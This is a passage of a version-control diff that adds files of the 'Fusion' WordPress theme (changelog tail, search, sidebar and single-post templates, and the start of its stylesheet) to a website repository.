+                      - added post count to the default sidebar Archives block
+                      - added theme option for user CSS code
+                      - changed spacing unit from px to em, where possible
+                      - added visitor ability to change font size (layout control)
+                      - moved possible plugin content above the submit button (on the comment pages)
+                      - removed 'rss subscribe' link for comments (there already is one in the footer)
+                      - fixed a small bug in the tab navigation (was not extending on fluid width)
+                      - some javascript improvements
+
+ - 12-feb-2009: v2.0  - added theme option to allow sidebar position change
+                      - complete localization support
+                      - added Spanish translation, thanks Miguel!
+                      - updated Romanian translation
+                      - changed widget look and fixed spacing (removed .box style since was causing problems with some widgets)
+                      - stylesheets load now with @import (so the theme degrades to simple text in older browsers like NS4, IE4...)
+                      - added IE 6 fix for transparent 24bit PNGs
+
+ - 31-jan-2009: v1.83 - support for WP-PageNavi plugin
+                      - removed whitespace:no-wrap for PRE tag
+                      - updated jQuery to latest version (1.3.1)
+
+ - 29-jan 2009: v1.82 - theme language support (testing)
+                      - added translation: Romanian
+
+ - 27-jan 2009: v1.81 - replaced "tags" text with a tag graphic icon
+                      - added quote/reply buttons (instead of RE/Q text), only visible when mouse over a comment & when comments are open
+                      - changed comment submit input with button link (nicer, but won't work on browsers with js disabled)
+
+ - 25-jan 2009: v1.8  - added theme options; see: WP-Admin > Appearance > Fusion options
+                      - added some jQuery fx to various elements
+                      - various fixes and improvements to comment pages (thanks Miguel)
+
+ - 23-jan-2009: v1.71 - fixed bug in comments (sidebar misplaced or not showing up if comments are closed and there are 1 or more comments posted), thanks again Miguel :)
+
+ - 23-jan-2009: v1.7  - added trackbacks; moved both comments and trackbacks into tabs, visible only if comments>0
+                      - added sub-menus for tabs (if nested pages exist)
+                      - added rss links for categories in the sidebar
+                      - changed the search box design a little
+                      - styled pagination
+                      - changes to Archives page
+                      - replaced some of the hardcoded messages for automatic translation
+                      - added subtle border to avatars
+                      - fixed some small bugs in functions.php, thanks Miguel :)
+
+ - 17-jan-2009: v1.6  - fixed image captions in posts
+                      - more margin/padding adjustments
+                      - small changes to the sidebar lists
+
+ - 14-jan-2009: v1.5  - added comment time and date (sorry I missed that)
+                      - made admin comment look different than the rest
+                      - made homepage tab appear only if there are posts
+                      - fixed a small ie6 bug in comments
+
+ - 10-jan-2009: v1.4  - fixed "Headers already sent..." php error; thanks Brian :)
+                      - removed border and spacing from smiley images
+                      - made tabs show inside the header if they don't fit horizontally (instead of hide them in the sidebar or extend below the header)
+
+ -  6-jan-2009: v1.3  - added IE 6 support (also degrades decently in IE 5.5); thanks Marc for the "IETester" link :)
+                      - fixed Archives (tags were at the top of the post)
+                      - some margin/padding adjustments
+                      - added "posted by [author]"
+
+ -  4-jan-2009: v1.2  - changes to the sidebar/widget design; categories and search are now visible when widgets are used
+                      - fixed small bug in sidebar categories (corectly aligned lists if text is long)
+                      - added page width control (allow user to switch from fixed to fluid layout)
+                      - added border+padding for images inside .post
+                      - moved "tags" at the bottom of the post
+                      - switched colors for "no/comments"
+                      - changed reply/quote icons to text
+                      - fixed some IE7 bugs in comments
+
+ - 30-dec-2008: v1.1  - replaced logo image with heading text
+                      - added custom styles for usual HTML elements, tables, lists, forms...
+                      - fixed Gravatars
+                      - some changes to "Archives" page layout
+                      - small CSS fixes to the comments section
+
+ - 22-dec-2008: Initial release - 1.0
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/search.php	(revision 44)
@@ -0,0 +1,51 @@
+<?php /* Fusion/digitalnature */ ?>
+<?php get_header(); ?>
+
+
+  <!-- mid content -->
+  <div id="mid-content">
+	<?php if (have_posts()) : ?>
+   	 <h2 class="pagetitle"><?php _e("Search Results","fusion"); ?></h2>
+	 <div class="navigation" id="pagenavi">
+      <?php if(function_exists('wp_pagenavi')) : ?>
+	  <?php wp_pagenavi() ?>
+      <?php else : ?>
+	   <div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries','fusion')) ?></div>
+	   <div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;','fusion')) ?></div>
+       <div class="clear"></div>
+      <?php endif; ?>
+	 </div>
+
+     <?php while (have_posts()) : the_post(); ?>
+       <?php if (function_exists("post_class")) { ?>
+       <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+       <?php } else { ?>
+       <div class="post" id="post-<?php the_ID(); ?>">
+       <?php } ?>
+  		<h3 id="post-<?php the_ID(); ?>"><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h3>
+      		<small><?php the_time(__('l, F jS, Y','fusion')) ?></small>
+      		<p class="postmetadata"><?php the_tags(__('Tags: ','fusion'), ', ', '<br />'); ?> <?php printf(__('Posted in %s','fusion'), get_the_category_list(', '));?> | <?php edit_post_link(__('Edit','fusion'), '', ' | '); ?>  <?php comments_popup_link(__('No Comments','fusion'), __('1 Comment','fusion'), __('% Comments','fusion')); ?></p>
+       </div>
+     <?php endwhile; ?>
+     <div class="navigation" id="pagenavi">
+       <?php if(function_exists('wp_pagenavi')) : ?>
+        <?php wp_pagenavi() ?>
+       <?php else : ?>
+        <div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries','fusion')) ?></div>
+        <div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;','fusion')) ?></div>
+        <div class="clear"></div>
+       <?php endif; ?>
+     </div>
+	<?php else : ?>
+  	 <h2 class="center"><?php _e('No posts found. Try a different search?','fusion'); ?></h2>
+	 <?php get_search_form(); ?>
+	<?php endif; ?>
+
+  </div>
+    <!-- mid content -->
+   </div>
+   <!-- /mid -->
+
+   <?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/searchform.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/searchform.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/searchform.php	(revision 44)
@@ -0,0 +1,14 @@
+<?php /* Fusion/digitalnature */ ?>
+
+<!-- search form -->
+
+<div id="searchtab">
+  <div class="inside">
+    <form method="get" id="searchform" action="<?php bloginfo('url'); ?>/">
+      <input type="text" name="s" id="searchbox" class="searchfield" value="<?php _e("Search","fusion"); ?>" onfocus="if(this.value == '<?php _e("Search","fusion"); ?>') {this.value = '';}" onblur="if (this.value == '') {this.value = '<?php _e("Search","fusion"); ?>';}" />
+       <input type="submit" value="Go" class="searchbutton" />
+    </form>
+  </div>
+</div>
+
+<!-- /search form -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/sidebar.php	(revision 44)
@@ -0,0 +1,93 @@
+<?php /* Fusion/digitalnature */
+  $options = get_option('fusion_options');
+?>
+<!-- sidebar -->
+<div id="sidebar">
+ <!-- sidebar 1st container -->
+ <div id="sidebar-wrap1">
+  <!-- sidebar 2nd container -->
+  <div id="sidebar-wrap2">
+     <ul id="sidelist">
+        <?php if(!$options['hidesearch']) { ?>
+        <li>
+          <?php get_search_form(); ?>
+		</li>
+        <?php } ?>
+		<?php if ( is_404() || is_category() || is_day() || is_month() || is_year() || is_search() || is_paged() ) { ?>
+        <li class="infotext">
+			<?php /* If this is a 404 page */ if (is_404()) { ?>
+			<?php /* If this is a category archive */ } elseif (is_category()) { ?>
+            <p><?php printf(__('You are currently browsing the archives for the %s category.', 'fusion'), single_cat_title('',false)); ?></p>
+
+			<?php /* If this is a yearly archive */ } elseif (is_day()) { ?>
+            <p><?php printf(__('You are currently browsing the archives for %s','fusion'), get_the_time(__('l, F jS, Y','fusion'))); ?></p>
+
+			<?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+            <p><?php printf(__('You are currently browsing the archives for %s','fusion'), get_the_time(__('F, Y','fusion'))); ?></p>
+
+			<?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+            <p><?php printf(__('You are currently browsing the archives for the year %s','fusion'), get_the_time(__('Y','fusion'))); ?></p>
+
+			<?php /* If this is a monthly archive */ } elseif (is_search()) { ?>
+            <p class="error"><?php printf(__('You have searched the archives for %s.','fusion'), '<strong>'.get_search_query().'</strong>'); ?></p>
+
+			<?php /* If this is a monthly archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+			  <p><?php _e('You are currently browsing the archives.','fusion'); ?></p>
+			<?php } ?>
+	 	</li>
+        <?php }?>
+
+        <?php if(!$options['hidecategories'])  { ?>
+        <li>
+          <!-- sidebar menu (categories) -->
+          <ul class="nav">
+            <?php if($options['nojquery']) {
+              echo preg_replace('@\<li([^>]*)>\<a([^>]*)>(.*?)\<\/a>@i', '<li$1><a$2><span>$3</span></a>', wp_list_categories('show_count=0&echo=0&title_li='));
+            } else {
+              echo preg_replace('@\<li([^>]*)>\<a([^>]*)>(.*?)\<\/a> \(\<a ([^>]*) ([^>]*)>(.*?)\<\/a>\)@i', '<li $1><a$2><span>$3</span></a><a class="rss tip" $4></a>', wp_list_categories('show_count=0&echo=0&title_li=&feed=XML')); } ?>
+
+            <?php if (function_exists('xili_language_list')) { xili_language_list(); } ?>
+
+          </ul>
+          <!-- /sidebar menu -->
+        </li>
+        <?php } ?>
+
+
+        <?php 	/* Widgetized sidebar, if you have the plugin installed. */
+        if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
+        <?php wp_list_bookmarks(); ?>
+        <li class="box-wrap" id="box-archives">
+          <div class="box">
+           <h2 class="title"><?php _e('Archives','fusion'); ?></h2>
+           <div class="inside">
+            <ul>
+             <?php wp_get_archives('type=monthly&show_post_count=1'); ?>
+            </ul>
+           </div>
+          </div>
+        </li>
+
+        <li class="box-wrap" id="box-meta">
+          <div class="box">
+           <h2 class="title"><?php _e('Meta','fusion'); ?></h2>
+           <div class="inside">
+            <ul>
+             <?php wp_register(); ?>
+             <li><?php wp_loginout(); ?></li>
+             <li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr></a></li>
+             <li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
+             <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress</a></li>
+             <?php wp_meta(); ?>
+            </ul>
+           </div>
+          </div>
+        </li>
+        <?php endif; ?>
+     </ul>
+  </div>
+  <!-- /sidebar 2nd container -->
+ </div>
+ <!-- /sidebar 1st container -->
+</div>
+<!-- /sidebar -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/sidebar2.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/sidebar2.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/sidebar2.php	(revision 44)
@@ -0,0 +1,12 @@
+<!-- 2nd sidebar -->
+<div id="sidebar2">
+ <div id="sidebar2-wrap">
+  <ul>
+    <?php
+     if (function_exists('dynamic_sidebar') && dynamic_sidebar(2) ) : else : ?>
+      <li>hey look another sidebar :)<br />Add some widgets here to make me dissapear</li>
+    <?php endif; ?>
+  </ul>
+ </div>
+</div>
+<!-- /2nd sidebar -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/single.php	(revision 44)
@@ -0,0 +1,68 @@
+<?php /* Fusion/digitalnature */ ?>
+<?php get_header(); ?>
+
+  <!-- mid content -->
+  <div id="mid-content">
+  <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+    <div class="navigation">
+      <div class="alignleft"><?php previous_post_link('&laquo; %link') ?></div>
+      <div class="alignright"><?php next_post_link('%link &raquo;') ?></div>
+      <div class="clear"></div>
+    </div>
+
+    <?php if (function_exists("post_class")) { ?>
+    <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+    <?php } else { ?>
+    <div class="post" id="post-<?php the_ID(); ?>">
+    <?php } ?>
+       <?php if (!get_post_meta($post->ID, 'hide_title', true)): ?><h2><?php the_title(); ?></h2><?php endif; ?>
+       <br />
+	   <div class="entry">
+          <div class="postbody entry clearfix">
+	       <?php the_content(__('Read the rest of this entry &raquo;', 'fusion')); ?>
+          </div>
+          <?php wp_link_pages(array('before' => '<p><strong>Pages: </strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>
+          <?php
+          $posttags = get_the_tags();
+          if ($posttags) { ?>
+          <p class="tags"><?php the_tags(''); ?></p>
+          <div class="clear"></div>
+          <?php } ?>
+          <p class="postmetadata alt">
+			<small>
+                <?php
+                  printf(__('This entry was posted on %s and is filed under %s. You can follow any responses to this entry through %s.', 'fusion'), get_the_time(__('l, F jS, Y','fusion')), get_the_category_list(', '), '<a href="'.get_post_comments_feed_link($post->ID).'" title="RSS 2.0">RSS 2.0</a>');  ?>
+
+                <?php if (('open' == $post-> comment_status) && ('open' == $post->ping_status)) {
+        		  // Both Comments and Pings are open
+                  printf(__('You can <a href="#respond">leave a response</a>, or <a href="%s" rel="trackback">trackback</a> from your own site.', 'fusion'), trackback_url('',false));
+
+        		 } elseif (!('open' == $post-> comment_status) && ('open' == $post->ping_status)) {
+        		  // Only Pings are Open
+                  printf(__('Responses are currently closed, but you can <a href="%s" rel="trackback">trackback</a> from your own site.', 'fusion'), trackback_url('',false));
+
+        		 } elseif (('open' == $post-> comment_status) && !('open' == $post->ping_status)) {
+        		  // Comments are open, Pings are not
+        		  _e('You can skip to the end and leave a response. Pinging is currently not allowed.','fusion');
+
+        		 } elseif (!('open' == $post-> comment_status) && !('open' == $post->ping_status)) {
+        		  // Neither Comments, nor Pings are open
+        		  _e('Both comments and pings are currently closed.','fusion');
+        		} ?>
+                <?php edit_post_link(__('Edit this entry', 'fusion')); ?>
+            </small>
+		  </p>
+	   </div>
+    </div>
+	<?php comments_template(); ?>
+  <?php endwhile; else: ?>
+    <p><?php _e("Sorry, no posts matched your criteria.","fusion"); ?></p>
+  <?php endif; ?>
+ </div>
+    <!-- mid content -->
+   </div>
+   <!-- /mid -->
+
+   <?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/style.css	(revision 44)
@@ -0,0 +1,1675 @@
+/*
+Theme Name: Fusion
+Theme URI: http://digitalnature.ro/projects/fusion
+Description: Light and clean Wordpress theme from <a href="http://digitalnature.ro/">digitalnature</a>. <br />Localization support and theme options available
+Version: 2.7
+Author: digitalnature
+Author URI: http://digitalnature.ro
+Tags: light, two-columns, fixed-width, flexible-width, right-sidebar, theme-options, threaded-comments, white
+
+	Fusion Wordpress theme
+	  http://digitalnature.ro/projects/fusion
+
+	Theme designed by digitalnature. See the project page for more information and updates
+
+	The CSS, XHTML and design is released under GPL.
+    http://www.opensource.org/licenses/gpl-license.php
+
+*/
+
+
+/* global prop. */
+*{
+  margin: 0;
+  padding: 0;
+}
+
+html, body{
+ height:100%;
+}
+
+html{
+  font-size: 100%;
+}
+
+body{
+  font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Sans, FreeSans, Jamrul, Garuda, Kalimati;
+  font-size: 0.8em;
+  font-style: normal;
+  color: #000;
+  background: #fff url(images/main-bg.gif) repeat-x left 200px;
+  min-height:100%;
+  height:auto !important; /* ie6 ignores it */
+  height:100%; /* fix */
+  position: relative;
+}
+
+
+/* general elements */
+a{
+  color: #2d83d5;
+  text-decoration: underline;
+}
+
+a:hover{
+  color: #fff;
+  background: #2d83d5;
+  text-decoration: none;
+}
+
+img{
+  border: 0;
+}
+
+table{
+  margin: .5em 0 1em;
+  border-bottom: 3px solid #d9d9d9;
+  border-left: 1px solid #d9d9d9;
+}
+
+table td, table th{
+  text-align: left;
+  padding: .2em .4em;
+  border-top: 1px solid #d9d9d9;
+  border-right: 1px solid #d9d9d9;
+}
+
+table th{
+  background: #ebebeb;
+  border-bottom: 2px solid #d9d9d9;
+}
+
+table tr.odd{
+  background: #ebebeb;
+}
+
+table tr:hover{
+  background: #d9d9d9;
+}
+
+p{
+  line-height: 140%;
+  margin: .4em 0 1em;
+}
+
+form p{
+  margin: 0;
+}
+
+input, textarea, select{
+  font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Sans, FreeSans, Jamrul, Garuda, Kalimati;
+  font-size: 100%;
+  margin: .2em 0;
+  background: transparent url(images/input-bg.png) no-repeat left top;
+}
+
+input, textarea{
+  padding: .2em .4em;
+}
+
+input.radio, input.checkbox{
+  background: none;
+  padding: 2px;
+}
+
+
+form label{
+  font-weight: bold;
+}
+
+fieldset{
+  padding: .8em;
+  border: 1px solid #E7E8E6;
+}
+
+legend{
+  padding: 2px 15px 10px 15px;
+  color: #8b8b89;
+  text-transform: uppercase;
+  font-style: italic;
+  font-size: 115%;
+}
+
+small{ font-size: 86%; }
+
+pre{
+  overflow: auto;
+  background: #eee;
+  padding: .4em;
+}
+
+/* lists */
+
+ul, ol{
+  margin: .4em 0 1em;
+  line-height: 150%;
+}
+
+
+ul li, ol li{
+ list-style-position:outside;
+ margin-left: 2em;
+}
+
+dl{
+  padding: .3em 0 .8em;
+}
+
+dt {
+  float: left;
+  clear: left;
+  width: 9em;
+  text-align: right;
+  font-weight: bold;
+  text-decoration: underline;
+}
+
+dd {
+  margin: 0 0 0 10em;
+  padding: 0 0 0.5em 0;
+}
+
+blockquote{
+  background: transparent url(images/blockquote.png) no-repeat left top;
+  margin: 10px 65px 10px 10px;
+  padding: 20px 20px 10px 10px;
+  font-style: italic;
+  color: #939494;
+}
+
+blockquote p{
+  padding: 8px;
+  margin: 2px;
+  border: 1px dotted #939494;
+}
+
+/* headings */
+
+h1{
+  font-size: 250%;
+  margin: .6em 0 .3em;
+  font-weight: bold;
+  letter-spacing:-0.06em;
+}
+
+h2{
+  font-family: "Palatino Linotype", Georgia, "Tahoma", "Century Schoolbook L", Arial, Helvetica;
+  font-size: 200%;
+  font-weight: normal;
+  margin: .6em 0 .3em;
+}
+
+h3{
+  font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Sans, FreeSans, Jamrul, Garuda, Kalimati;
+  font-size: 150%;
+  font-weight: bold;
+  margin: .2em 0 .2em;
+  letter-spacing:-0.06em;
+}
+
+h4{
+  font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Sans, FreeSans, Jamrul, Garuda, Kalimati;
+  font-size: 125%;
+  font-weight: bold;
+  margin: .4em 0 .2em;
+}
+
+h5{
+  font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Sans, FreeSans, Jamrul, Garuda, Kalimati;
+  font-size: 115%;
+  font-weight: normal;
+  margin: .4em 0 .2em;
+  text-transform: uppercase;
+  font-style: italic;
+}
+
+h6{
+  font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Sans, FreeSans, Jamrul, Garuda, Kalimati;
+  font-size: 110%;
+  font-weight: bold;
+  margin: .4em 0 .2em;
+}
+
+
+/*** BASIC LAYOUT ***/
+
+/* used only for the header background images (center & repeat) */
+#page-wrap1{ background: transparent url(images/header-bg.jpg) repeat-x left top; }
+#page-wrap2{
+  background: transparent url(images/header-center.jpg) no-repeat center top;
+  height: 200px;
+  width: 100%;
+  display:block;
+}
+
+/* actual layout width: default is 960px (for 1024x768+); 100% = fluid width */
+#page{
+  width: 960px;
+  min-width: 780px;
+  margin:0 auto;
+}
+
+/* content area (sidebars + main) */
+#main-wrap {
+  position:relative;		/* IE7 overflow bugfix */
+  clear:both;
+  float:left;
+  width:100%;
+}
+
+#mid-wrap, #side-wrap {
+  float:left;
+  width:100%;
+  position:relative;
+}
+
+#mid, #sidebar, #sidebar2 {
+  float:left;
+  position:relative;
+  padding:0;
+  overflow: visible;
+}
+
+
+/* start ie 6/7 position relative + z-index bug-fix
+
+#side-wrap, #mid-wrap{
+  float: none;
+  position: static;
+}
+#sidebar, #sidebar2{
+  position: static;
+  float: right;
+}
+#mid{
+  position: static;
+  float: left;
+}
+
+end ie 6/7 position relative + z-index bug-fix */
+
+
+/* no sidebar? */
+
+#page #main-wrap #mid-wrap { right:100%; }
+#page #main-wrap #side-wrap { right:0; }
+
+#page #main-wrap #mid {
+  width:100%;			/* main column width */
+  left:100%;			/* same */
+}
+
+
+/* if sidebar exists... */
+
+#page.with-sidebar #main-wrap #mid-wrap { right:0%;   /* width of the 2nd column, 0 because it doesnt exist */ }
+#page.with-sidebar #main-wrap #side-wrap { right:66%; /* width of the main column */ }
+
+#page.with-sidebar #main-wrap #mid {
+  width:66%;			/* width of main column */
+  left:66%;				/* same */
+}
+
+#page.with-sidebar #main-wrap #sidebar {
+  width:34%;			/* width of the sidebar */
+  left:66%;
+}
+
+
+/* if 2nd sidebar exists... */
+
+#page.with-sidebar2 #main-wrap #mid-wrap { right:25%; }
+#page.with-sidebar2 #main-wrap #side-wrap { right:25%; }
+
+#page.with-sidebar2 #main-wrap #mid {
+  width:50%;			/* width of main column */
+  left:50%;
+}
+
+#page.with-sidebar2 #main-wrap #sidebar {
+  width:30%;			/* width of the sidebar (narrower than on 2 column pages)  */
+  left:50%;
+}
+
+#page.with-sidebar2 #main-wrap #sidebar2 {
+  width:20%;            /* width of 2nd sidebar */
+  left:50%;
+
+}
+
+#sidebar2-wrap{
+  margin-top: 230px;
+  padding-left: 10px;
+}
+
+
+#mid-content{
+  margin: 40px 0 10px;
+}
+
+#sidebar-wrap1{
+  background: transparent url(images/side-start.png) no-repeat left top;
+  padding-left: 28px;
+  margin-top: 36px;
+  height: 100%;
+}
+
+#sidebar-wrap2{
+  background: transparent url(images/side-bg.png) no-repeat right top;
+  padding-right: 30px;
+  padding-top: 40px;
+  height: 100%;
+  min-height: 400px;
+}
+
+
+/* clear sidebar/main sections, assuming sidebar is on the right */
+div.clearcontent{
+  clear: left;
+}
+
+
+
+/*** HEADER AREA ***/
+
+/* logo position */
+a#logo{
+  top: 80px;
+  position: absolute;
+}
+
+a#logo:hover{
+  background: none;
+}
+
+#header{
+  height: 200px;
+  z-index: 2; /* fix for stupid ie6/7 bug */
+  position:relative;
+}
+
+#header h1{
+  font-family: "Trajan Pro", "Lucida Sans Unicode", Arial, Helvetica, Sans, FreeSans, Jamrul, Garuda, Kalimati;
+  font-weight: bold;
+  position: absolute;
+  color: #fff;
+  top: 85px;
+  font-size: 3.4em;
+  letter-spacing:-0.06em;
+  margin: 0;
+  padding: 0;
+}
+
+#header h1 a{
+  color: #fff;
+  text-decoration: none;
+}
+
+#header h1 a:hover{
+  background: none;
+  color: #2d83d5;
+}
+
+/* top navigation */
+#topnav{
+  color: #a2a3a6;
+  padding-top: 20px;
+}
+
+#topnav a{
+  font-size: 110%;
+  text-transform: uppercase;
+  text-decoration: none;
+  color: #afb0b3;
+  padding: 0 8px;
+}
+
+#topnav a:hover{
+  text-decoration: none;
+  background: none;
+  color: #fff;
+}
+
+
+/* header tabs */
+#tabs{
+  font-size:14px;
+  width: 100%;
+  line-height:normal;
+  position: absolute;
+  bottom: 0;
+  left: 0;
+  z-index: 0;
+}
+
+#tabs ul{
+  list-style:none;
+}
+
+#tabs li{
+  display:inline;
+  float: left;
+  position: relative;
+  margin: 0;
+  padding: 0;
+
+}
+
+#tabs a {
+  float:left;
+  background:url(images/tab-left.png) no-repeat left top;
+  color:#0470a0;
+  padding-left:9px;
+  margin-right:3px;
+  text-decoration:none;
+  color:#cfcfcf;
+  cursor: pointer; /* IE 7 bug-fix */
+}
+
+#tabs a span{
+  float:left;
+  display:block;
+  background:url(images/tab-right.png) no-repeat right top;
+  height: 29px;
+  padding-right: 10px;
+}
+
+#tabs a span span{
+  display:block;
+  background:none;
+  height: auto;
+  padding: 4px 4px 0 4px;
+}
+
+/* Commented Backslash Hack hides rule from IE5-Mac \*/
+#tabs a span {float:none;}
+/* End IE5-Mac hack */
+#tabs a:hover span {
+  color:#cfcfcf;
+}
+
+#tabs a:hover, #tabs li:hover a{
+  background-position:0% -29px;
+  color:#fff;
+}
+#tabs a:hover span, #tabs li:hover a span{
+  background-position:100% -29px;
+  color:#fff;
+}
+
+#tabs a.active, #tabs a.active:hover,
+#tabs li.current_page_item a, #tabs li.current_page_item a:hover,
+#tabs li.current_page_ancestor a, #tabs li.current_page_ancestor a:hover,
+#tabs li.current-cat a, #tabs li.current-cat a:hover,
+#tabs li.current-cat-parent a, #tabs li.current-cat-parent a:hover{
+  background-position:0% -58px;
+}
+
+#tabs a.active span, #tabs a.active:hover span,
+#tabs li.current_page_item a span, #tabs li.current_page_item a:hover span,
+#tabs li.current_page_ancestor a span, #tabs li.current_page_ancestor a:hover span,
+#tabs li.current-cat a span, #tabs li.current-cat a:hover span,
+#tabs li.current-cat-parent a span, #tabs li.current-cat-parent a:hover span{
+  background-position:100% -58px;
+  color:#000;
+}
+
+/* sub-menus */
+
+#tabs ul ul {
+  background:#eeeeef url(images/tab-subnav.png) repeat-x left top;
+  position: absolute;
+  display: none;
+  width:200px;
+  top: 29px;
+  left: 0;
+  margin: 0;
+  padding: 4px 0;
+  line-height: 100%;
+  z-index: 99;
+  border-left: 1px solid #999;
+  border-right: 1px solid #999;
+  border-bottom: 1px solid #999;
+  -moz-border-radius-bottomleft: 4px;
+  -moz-border-radius-bottomright: 4px;
+}
+
+#tabs ul ul ul{
+  border: 1px solid #999;
+  -moz-border-radius: 4px;
+}
+
+#tabs ul a.active ul,
+#tabs ul li.current_page_item ul,
+#tabs ul li.current_page_ancestor ul,
+#tabs ul li.current-cat ul,
+#tabs ul li.current-cat-parent ul{
+  background: #fff;
+}
+
+#tabs ul.active ul ul,
+#tabs ul li.current_page_item ul ul,
+#tabs ul li.current_page_ancestor ul ul,
+#tabs ul li.current-cat ul ul,
+#tabs ul li.current-cat-parent ul ul{
+  border: 1px solid #666666 !important;
+}
+
+#tabs ul li ul a{
+  width:180px;
+  height:auto;
+  float:left;
+  background: none;
+  margin: 0;
+  padding: 4px 10px;
+  color: #000;
+  font-weight: normal;
+  line-height: 125%;
+}
+
+#tabs li:hover ul a span{ color: #000; }
+
+#tabs ul li ul a span, #tabs ul li ul a span span{
+  margin: 0;
+  padding: 0;
+  height: auto;
+  float: none;
+}
+
+#tabs ul ul a:hover, #tabs ul ul a:hover,
+#tabs ul a.active ul a:hover,
+#tabs ul li.current_page_item ul a:hover,
+#tabs ul li.current_page_ancestor ul a:hover,
+#tabs ul li.current-cat ul a:hover,
+#tabs ul li.current-cat-parent ul a:hover{
+  background:#09c6eb url(images/tab-subnav-active.gif) repeat-x left top;
+}
+
+#tabs ul ul a:hover, #tabs ul ul a:hover span,
+#tabs ul a.active ul a:hover span,
+#tabs ul li.current_page_item ul a:hover span,
+#tabs ul li.current_page_ancestor ul a:hover span,
+#tabs ul ul li.current_page_parent a:hover span,
+#tabs ul ul li.current_page_item a:hover span,
+#tabs ul ul li.current_page_parent li.current_page_item a:hover span,
+#tabs ul ul li.current-cat a:hover span,
+#tabs ul ul li.current-cat-parent li.current_page_item a:hover span{
+  color:#fff;
+}
+
+#tabs ul li ul a span, #tabs ul li ul a span{
+  background: none;
+}
+
+#tabs ul ul ul{
+  top:auto;
+}
+
+#tabs ul li ul ul {
+  left:195px;
+  top: 4px;
+}
+
+#tabs ul li:hover ul ul, #tabs ul li:hover ul ul ul, #tabs ul li:hover ul ul ul ul{
+  display:none;
+}
+#tabs ul li:hover ul, #tabs ul li li:hover ul, #tabs ul li li li:hover ul, #tabs ul li li li li:hover ul{
+  display:block;
+}
+
+/* active submenus */
+#tabs ul ul li.current_page_parent a span,
+#tabs ul ul li.current_page_item a span,
+#tabs ul ul li.current_page_parent li.current_page_item a span,
+#tabs ul ul li.current-cat a span,
+#tabs ul ul li.current-cat-parent li.current_page_item a span{
+  color: #2d83d5;
+}
+
+#tabs ul ul li.current_page_item li a span, #tabs ul ul li.current_page_parent li a span,
+#tabs ul ul li.current-cat li a span, #tabs ul ul li.current-cat-parent li a span{
+  color: #000;
+}
+
+/* IE 7 bug-fixes */
+#tabs ul li:hover { z-index: 100; }
+#tabs ul * li:hover { visibility: inherit; }
+
+
+/*** MAIN ***/
+
+/* sort news links (pligg) */
+#sortlinks{
+  display: block;
+  margin: 5px 0 20px;
+}
+
+
+/* secondary tabs */
+
+#mid ul.menu {
+  font-size:14px;
+  height:35px;
+  line-height:normal;
+  left: 0;
+  padding-left: 12px;
+  background:transparent url(images/mtab-bg.png) repeat-x left bottom;
+  margin: 10px 0 20px;
+  list-style:none;
+}
+
+#mid ul.menu li {
+  display:inline;
+  float:left;
+  margin: 0;
+  padding: 0;
+}
+
+#mid ul.menu a {
+  float:left;
+  background:url(images/mtab-left.png) no-repeat left -35px;
+  color:#0470a0;
+  padding-left:6px;
+  margin-right:3px;
+  text-decoration:none;
+  text-transform: uppercase;
+  color:#8c8b8b;
+  cursor: pointer; /* IE 7 bug-fix */
+}
+
+#mid ul.menu a span{
+  float:left;
+  display:block;
+  background:url(images/mtab-right.png) no-repeat right -35px;
+  height: 35px;
+  padding-right: 6px;
+}
+
+#mid ul.menu a span span{
+  display:block;
+  background:none;
+  height: auto;
+  padding: 7px 10px 0 10px;
+}
+
+/* Commented Backslash Hack hides rule from IE5-Mac \*/
+#mid ul.menu a span {float:none;}
+/* End IE5-Mac hack */
+#mid ul.menu a:hover span {
+  color:#cfcfcf;
+}
+
